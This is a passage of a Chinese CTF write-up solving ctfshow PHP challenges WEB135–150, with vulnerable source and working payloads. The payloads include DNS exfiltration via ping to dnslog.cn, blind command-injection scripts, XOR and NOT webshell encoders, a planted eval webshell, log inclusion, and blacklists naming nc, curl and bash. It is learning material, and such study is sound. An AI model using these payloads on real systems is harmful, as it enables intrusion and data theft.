是可以的,只要我们传入_POST[key1]=36d&_POST[key2]=36d,在变量表中就会变成$_POST[key1]=36d,$_POST[key2]=36d,为避免歧义,解析的时候php就会认为这是$_POST中的一个变量,会按照$_POST<分隔>[key1]进行解析,而不是$<分隔>_POST[key1],所以这样就完成了$_GET到$_POST的转换,然后extract函数完成变量覆盖
注意file_get_contents函数不会直接回显,查看源代码在注释里面!
WEB135
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 18:48:03 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
这道题过滤得稍稍有点多...外带可以利用ping来做,然后这道题学到了一个利用dnslog外带文件内容的方式
由于url里面不能有某些特殊字符,所以需要正则过滤;还不能一次带太多,所以一行一行来
payload:`$F `;ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.9yar9a.dnslog.cn
`$F `;ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.9yar9a.dnslog.cn
|是管道符,前一个的输出作为后一个的输入
awk是文本处理命令,显示特定行,这里就是直接显示15行
tr -cd是指定符合后面pattern的字符不被删除,也就是不符合的都被删除
所以最后剩下的就是flag.php中15行的(字符数量少)字母和数字(去掉特殊字符)
有两行,再把16行的整出来就行
WEB136
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
又是一个新姿势,tee也可以用来写文件
tee - read from standard input and write to standard output and files,一般是用在其它命令后面(接管道符)写入指定文件
payload:?c=cat /f149_15_h3r3|tee 1(将cat /f149_15_h3r3的结果写入文件1中)
访问文件1即可
WEB137
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:27:49 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
这是call_user_func的一个用法
call_user_func可以直接利用类名::静态方法名来调用类的一个静态方法(注意call_user_func里面不能再嵌套函数)
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
payload:POST:ctfshow=ctfshow::getFlag
WEB138
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:52:13 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
不能用:号,那就换一种方式调用即可
类名与静态方法名组成的数组同样可以调用
payload:POST:ctfshow[]=ctfshow&ctfshow[]=getFlag
WEB139
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
这道题没有写入权限,所以不能用tee了。
exec还是能执行,这种情况其实跟SQL注入中的盲注很像。
类比一下,我们可以用这种形式的payload:
if [ `ls / -1 | cut -c 1 | awk "NR==1"` == b ];then sleep 3;fi
其中,ls -1是指结果以每行一个词的形式显示。cut -c 1是只取首字母,awk取特定行,fi终止if
然后直接盲注就可以了,不过好像判断中括号的时候有些问题,自己盲注flag的时候手动加上就行
ls /:
import requests url = "http://28ea4636-fe48-4eb2-8d9e-cf3d68fdef61.challenge.ctf.show/?c=" payload = "if [ `ls / -1 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 5;fi" row=20 #可调整 length=4 #可调整 result="" strings="abcdefghijklmnopqrstuvwxyz_-0123456789" for r in range(1,row): print(r) for c in range(1,length): for s in strings: target=url+payload.format(c,r,s) #print(target) try: requests.get(url=target,timeout=4) except: result+=s print("++++++"+result) break result+=" "
flag在/f149_15_h3r3里面
cat /f149_15_h3r3:
import requests url = "http://28ea4636-fe48-4eb2-8d9e-cf3d68fdef61.challenge.ctf.show/?c=" payload = "if [ `cat /f149_15_h3r3 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 5;fi" row=20 length=50 result="ctfshow{" strings="abcdefghijklmnopqrstuvwxyz_-0123456789{}" for r in range(1,row): for c in range(9,length): print(c) for s in strings: target=url+payload.format(c,r,s) #print(target) try: requests.get(url=target,timeout=4) except: result+=s print("++++++"+result) break result+=" "
WEB140
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 12:39:25 */ error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
有一个弱比较
这里字符串"ctfshow"在被转换为数字之后会被转化成0,所以$code只要为0就可以了
intval会将非数字字符转换为0,也就是说intval('a')==0 intval('.')==0 intval('/')==0
所以md5(phpinfo()),md5(sleep()),md5(md5())等等结果以字母开头的就可,有很多
payload:
f1=md5&f2=md5 f1=usleep&f2=usleep f1=md5&f2=phpinfo f1=sha1&f2=getcwd f1=exec&f2=getallheaders(执行失败一般返回0)
WEB141
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:28:09 */ #error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
v1,v2必须是数字,v3不能有数字,字母和下划线,\W正则解释参照[PHP]正则表达式\w和\W区别_雪狼骑兵_51CTO博客
关键在于怎么把它们连接起来,运算符就可以做到这一点。比如1+phpinfo()也会先运行phpinfo()在进行加法运算
v3再用异或绕过一波就行了,无字母数字的webshell参照老生常谈的无字母数字Webshell总结 - 云+社区 - 腾讯云 (tencent.com)
payload:?v1=1&v2=1&v3=%2B("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b")%2B
(注意+号要url编码!)
WEB142
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:36:02 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
payload:
?v1=0 八进制
?v1=0x0 16进制
?v1=0e123 科学计数法
WEB143
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 12:48:14 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
这道题把|和~都禁掉了,但是留下了^,那就异或呗
结合这道题的过滤,自己写的脚本:
<?php $str = "system"; //命令 $str2 = "tac flag.php"; //参数 $result1 = ""; $result2 = ""; $result3 = ""; $result4 = ""; $end = 0; //正则过滤字符串写成参数 $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; for ($i = 0; $i < strlen($str); $i++) for ($j = 1; $j <= 127; $j++) { if ($end == 1) { $end = 0; break; } for ($k = 1; $k <= 127; $k++) if ((!preg_match($preg, chr($j))) && (!preg_match($preg, chr($k)))) if ((chr($j) ^ chr($k)) == $str[$i]) { //注意==运算符优先于^运算符,所以必须要加括号 $result1 .= chr($j); $result2 .= chr($k); $end = 1; break; } } echo "(\"" . urlencode($result1) . "\"^" . "\"" . urlencode($result2) . "\")"; for ($i = 0; $i < strlen($str2); $i++) for ($j = 0; $j <= 127; $j++) { if ($end == 1) { $end = 0; break; } for ($k = 0; $k <= 127; $k++) if ((!preg_match($preg, chr($j))) && (!preg_match($preg, chr($k)))) if ((chr($j) ^ chr($k)) == $str2[$i]) { $result3 .= chr($j); $result4 .= chr($k); $end = 1; break; } } echo "(\"" . urlencode($result3) . "\"^" . "\"" . urlencode($result4) . "\")"; ?>
payload1:?v1=1&v2=1&v3=*("%0C%06%0C%0B%05%0D"^"%7F%7F%7F%7F%60%60")("%0B%01%03%00%06%0C%01%07%01%0F%08%0F"^"%7F%60%60+%60%60%60%60%2F%7F%60%7F")*
群主的方法更骚一点,像%fa这种url编码,虽然无法正常解码,但是是可以参与运算的(运算只是利用二进制码而已),而黑名单过滤只能过滤0-127的,也就是二进制码首位为0的,那么,只要用于构造的两个字符二进制码首位为1,就一定不会被过滤
比如,对于字母p,二进制码是01110000,那我们就可以选择11110110和10000110两个,16进制编码之后就是%f6和%86,然后异或之后就能得到p
这种方法绕过过滤非常有效
PS:windows自带的计算器确实很方便,支持复制粘贴位运算还直接显示各种进制~
WEB144
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 16:21:15 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
只是变了一下顺序而已,过滤得还没有143多,上一题payload变一下就行
payload:?v1=1&v2=("%0C%06%0C%0B%05%0D"^"%7F%7F%7F%7F%60%60")("%0B%01%03%00%06%0C%01%07%01%0F%08%0F"^"%7F%60%60+%60%60%60%60%2F%7F%60%7F")&v3=*
WEB145
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
一样的套路,异或被过滤了,但是或和取反都没有被过滤,运算符可以直接用或(也是位运算符),或者用?:三目运算符也可以,双引号被过滤了那就用单引号代替
改编脚本:
<?php $str = "system"; //命令 $str2 = "tac flag.php"; //参数 $result1 = ""; $result2 = ""; $result3 = ""; $result4 = ""; $end = 0; //正则过滤字符串写成参数 $preg = '/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i'; for ($i = 0; $i < strlen($str); $i++) for ($j = 1; $j <= 127; $j++) { if ($end == 1) { $end = 0; break; } for ($k = 1; $k <= 127; $k++) if ((!preg_match($preg, chr($j))) && (!preg_match($preg, chr($k)))) if ((chr($j) | chr($k)) == $str[$i]) { //注意==运算符优先于^运算符,所以必须要加括号 $result1 .= chr($j); $result2 .= chr($k); $end = 1; break; } } echo "('" . urlencode($result1) . "'|" . "'" . urlencode($result2) . "')"; for ($i = 0; $i < strlen($str2); $i++) for ($j = 0; $j <= 127; $j++) { if ($end == 1) { $end = 0; break; } for ($k = 0; $k <= 127; $k++) if ((!preg_match($preg, chr($j))) && (!preg_match($preg, chr($k)))) if ((chr($j) | chr($k)) == $str2[$i]) { $result3 .= chr($j); $result4 .= chr($k); $end = 1; break; } } echo "('" . urlencode($result3) . "'|" . "'" . urlencode($result4) . "')"; ?>
payload1:?v1=1&v2=1&v3=|('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')('%14%01%03%00%06%0C%01%07%02%10%08%10'|'%60%60%60+%60%60%60%60%2C%60%60%60')|
取反脚本:
<?php $str = "system"; //命令 $str2 = "tac flag.php"; //参数 $result1 = ""; $result2 = ""; for ($i = 0; $i < strlen($str); $i++) for($j=128;$j<=256;$j++) { if((~chr($j))==$str[$i]) { $result1.=chr($j); break; } } for ($i = 0; $i < strlen($str2); $i++) for($j=128;$j<=256;$j++) { if((~chr($j))==$str2[$i]) { $result2.=chr($j); break; } } echo "(~".urlencode($result1).")(~".urlencode($result2).")";
payload2:?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
WEB146
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
没过滤~和|,不过过滤其他字符多一点,所以用取反直接绕过所有过滤更干脆,运算符换成|就可以了
payload:?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
或者用==这种判断相等运算符也是可以的
WEB147
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 02:04:38 */ highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
首先看看正则
^
匹配开头的字符串
[a-z0-9_]
匹配任意字母数字下划线
*
一次或者多次
$
匹配结尾字符串
/i
不区分大小写
/s
默认情况下的圆点 . 是 匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后, . 中包含换行符 \n。
/D
如果使用$限制结尾字符,则不允许结尾有换行
意思就是不允许全部是字母数字下划线。
首先需要找一个符号,可以加在函数的前面或者结尾而不影响函数调用。
可以直接fuzz,这个符号其实是\,也就是说,\function_name()也是可以执行的,原理就是\相当于系统函数的绝对路径,在默认namespace(就是\)下可以省略,但是如果在其它namespace里面必须加上\才能调用系统函数,否则就是相对路径调用了
原理:Code Breaking 挑战赛 Writeup (seebug.org)
这样就绕过了正则,然后我们观察到这里有两个参数,后面一个可控,所以考虑用create_function函数来让后面的参数可以注入任意命令。create_function()函数就相当于执行了一段代码,功能如下:
create_function('$a','echo $a."123"')
类似于
function f($a) { echo $a."123"; }
如果第二个参数传入
echo 1;}phpinfo();//
那么就相当于执行:
function f($a) { echo 1;}phpinfo();// }
从而执行phpinfo()命令,那么我们就可以RCE了
payload:
GET:?show=%3B%7Dsystem('tac flag.php')%3B%2F%2F
POST:ctf=%5Ccreate_function
WEB148
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 03:52:11 */ include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); }
没过滤^,没过滤双引号和括号,那直接构造异或shell就行了,脚本前面都有,换一下正则就行,不重复了。
payload:?code=("%08%02%08%09%05%0D"^"%7B%7B%7B%7D%60%60")("%09%01%03%01%06%0C%01%07%01%0B%08%0B"^"%7D%60%60%21%60%60%60%60%2F%7B%60%7B");
不过预期解是用中文
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{{{"^"?<>/"的结果就是_GET,那么这个payload其实就是$_GET[哼]($_GET[哈]);,变量逃逸绕过正则,但是本质上还是在用异或,值得学习的思路就是它使用了多个语句,用中文来当变量名,最后做了一个拼接
WEB149
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 04:34:40 */ error_reporting(0); highlight_file(__FILE__); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
这道题看描述应该是条件竞争,不过没必要,直接往index.php里面写马就行了(再说了现在也不能条件竞争)
payload:GET:?ctf=index.php
POST:show=<?php eval($_GET[1]);?>
然后随便RCE了
WEB150
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
这道题有点奇葩,本意应该是想考__autoload还有传参变量名中的.会被变成_这些考点,但是__autoload利用点太少,就一个无参函数执行没有特别大的用处。
所以现在知道的唯一解法就是利用最后的include,虽然过滤了冒号,但是可以用日志包含getshell
先访问抓包useragent注入php代码,再include /var/log/nginx/access.log就可以RCE了
WEB150plus
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
这道题的预期解就是条件竞争,调用phpinfo之后我们关注这个值
这个值是Off代表着允许使用未经初始化的session id,又有include,那我们就可以用session包含条件竞争来做这道题目之前也遇到过ctfshow web入门文件包含82-86
所以,其实__autoload这些函数逻辑只是为了让你调用一个phpinfo...前面的CTFSHOW类根本就没用(因为没有new实例的代码)
注意一点,变量名中的空格、[和.都会被替换成下划线,这个思路之前在WEB123也是遇到的
还要注意,其实__autoload函数是在这个类外面的,群主故意把代码缩进搞成这种鬼样子...不过不影响做题
真正的缩进:
class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } }
有点无聊()
over啦,这个大块总算是啃下来了...
参考文章:
ctfshow php特性系列 - xiaolong's blog (xiaolong22333.top)
文章评论